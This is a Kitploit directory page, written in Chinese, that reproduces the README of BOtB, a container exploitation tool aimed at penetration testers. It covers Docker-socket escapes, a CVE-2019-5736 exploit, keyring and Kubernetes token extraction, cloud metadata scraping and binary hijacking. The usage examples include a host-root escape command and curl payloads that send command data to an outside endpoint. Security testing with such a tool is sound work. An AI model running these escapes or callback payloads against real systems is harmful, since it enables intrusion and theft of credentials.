Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
botb — 一款面向渗透测试人员和工程师的容器分析与利用工具。 | Kitploit
工具/GitHubGitHub/brompwnie/botb
容器安全漏洞分析漏洞利用后渗透利用渗透测试云安全容器逃逸
GitHubbrompwnie/botb

botb

一款面向渗透测试人员和工程师的容器分析与利用工具。

查看仓库
68456254年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Github All Releases

Break out the Box (BOtB)

BOtB 是一款容器分析与利用工具,专为渗透测试工程师和普通工程师设计,同时支持常见的 CI/CD 技术,便于集成到持续集成/持续部署流程中。

它能做什么?

BOtB 是一款 CLI 工具,能够让你:

  • 利用常见的容器漏洞
  • 执行常见的容器后渗透操作
  • 当容器内缺少某些工具或二进制文件时提供替代能力
  • 结合 CI/CD 技术使用 BOtB 的能力测试容器部署
  • 以手动或自动方式执行上述操作

当前能力

  • 通过暴露的 Docker 守护进程(docker.sock)实现容器逃逸
  • 通过 CVE-2019-5736 实现容器逃逸
  • 通过启用 CAPS 和 SYSCALLS 实现特权容器逃逸
  • 通过滥用 Keyctl 系统调用(借助宽松的 seccomp 配置文件)从 Linux 内核密钥环提取数据
  • 识别 Kubernetes 服务账号密钥并尝试使用
  • 识别元数据服务端点,例如 http://169.254.169.254、http://metadata.google.internal/ 和 http://100.100.100.200/
  • 从 GCP 元数据端点抓取元数据信息
  • 分析并识别环境变量和 ProcFS 中进程(即 /Proc/{pid}/Environ)的敏感字符串
  • 查找并识别 UNIX 域套接字
  • 识别支持 HTTP 的 UNIX 域套接字
  • 在 UNIX 域套接字或网络接口上查找并识别 Docker 守护进程
  • 使用自定义负载劫持主机二进制文件
  • 在 CI/CD 模式下执行操作,仅返回大于 0 的退出码
  • 将数据推送至 S3 存储桶
  • 强制 BOtB 始终返回退出码 0(适用于非阻塞式 CI/CD)
  • 通过 CLI 参数或 YAML 配置文件执行上述操作
  • 执行反向 DNS 查找

安装

二进制文件

如需通过二进制文件进行安装,请访问 发布页面。

通过 Go 安装

go get github.com/brompwnie/botb

从源码构建

通过 Go 构建 BOtB:

go build

通过 Make 构建 BOtB:

make

使用方法

BOtB 可编译为针对目标平台的二进制文件,支持以下用法:

./botb-linux-amd64 -h
-aggr string
        尝试利用 RuncPWN(默认 "nil")
  -always-succeed
        始终将 BOtB 的退出码设置为零
  -autopwn
        尝试自动利用暴露的套接字
  -cicd
        尝试自动利用但不进入 TTY,成功时返回退出码 1,否则返回 0
  -config string
        从提供的 YAML 文件加载配置(默认 "nil")
  -endpoints string
        提供一个文本文件,其中包含用于测试的端点(默认 "nil")
  -find-docker
        尝试查找 Docker 守护进程
  -find-http
        搜索支持 HTTP 的可用 UNIX 域套接字
  -find-sockets
        搜索可用的 UNIX 域套接字
  -hijack string
        尝试劫持主机上的二进制文件(默认 "nil")
  -k8secrets
        识别并验证 K8s 密钥
  -keyMax int
        最大密钥 ID 范围(默认 100000000),系统最大值为 999999999(默认 100000000)
  -keyMin int
        最小密钥 ID 范围(默认 1)(默认 1)
  -metadata
        尝试查找元数据服务
  -path string
        开始扫描 UNIX 域套接字的路径(默认 "/")
  -pwn-privileged string
        提供命令负载,尝试利用 --privilege CGROUP release_agent 漏洞(默认 "nil")
  -pwnKeyctl
        滥用 keyctl 系统调用并从 Linux 内核密钥环提取数据
  -recon
        执行容器环境的信息收集
  -region string
        提供 AWS 区域,例如 eu-west-2(默认 "nil")
  -rev-dns string
        对子网执行反向 DNS 查找。参数必须使用 CIDR 表示法,例如 -rev-dns 192.168.0.0/24(默认 "nil")
  -s3bucket string
        提供用于 S3 推送的存储桶名称(默认 "nil")
  -s3push string
        将文件推送到 S3,例如完整的命令为:-region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME(默认 "nil")
  -scrape-gcp
        尝试抓取 GCP 元数据服务
  -verbose
        详细输出
  -wordlist string
        提供单词列表(默认 "nil")

BOtB 也可以通过 config 参数从 YAML 文件加载设置:

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

以下使用示例默认在检测到异常时都会返回大于 0 的退出码,通过 "echo $?" 可以查看最后一条命令的退出码。

识别并提取未妥善保护的 Linux 内核密钥环密钥

更多信息请参见原作者的文章:https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

识别并验证已挂载的 Kubernetes 服务账号密钥

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

通过暴露的 Docker 守护进程从容器中逃逸

该方法将逃逸到主机的交互式 TTY 中。

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

以 CI/CD 友好的方式从容器中逃逸

该方法不会逃逸到主机的 TTY,而是返回大于 0 的退出码以表示逃逸成功。

#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

利用 CVE-2019-5736 并携带自定义负载

请注意,要使此利用成功,必须在目标容器中执行一个进程。

#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

使用自定义负载劫持主机上的命令/二进制文件

请注意,这可用于测试外部实体是否在容器内执行命令。例如 Docker Exec 和 Kubetcl CP。

#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

查找 UNIX 域套接字

#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

查找 Docker 守护进程

#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1
下载工具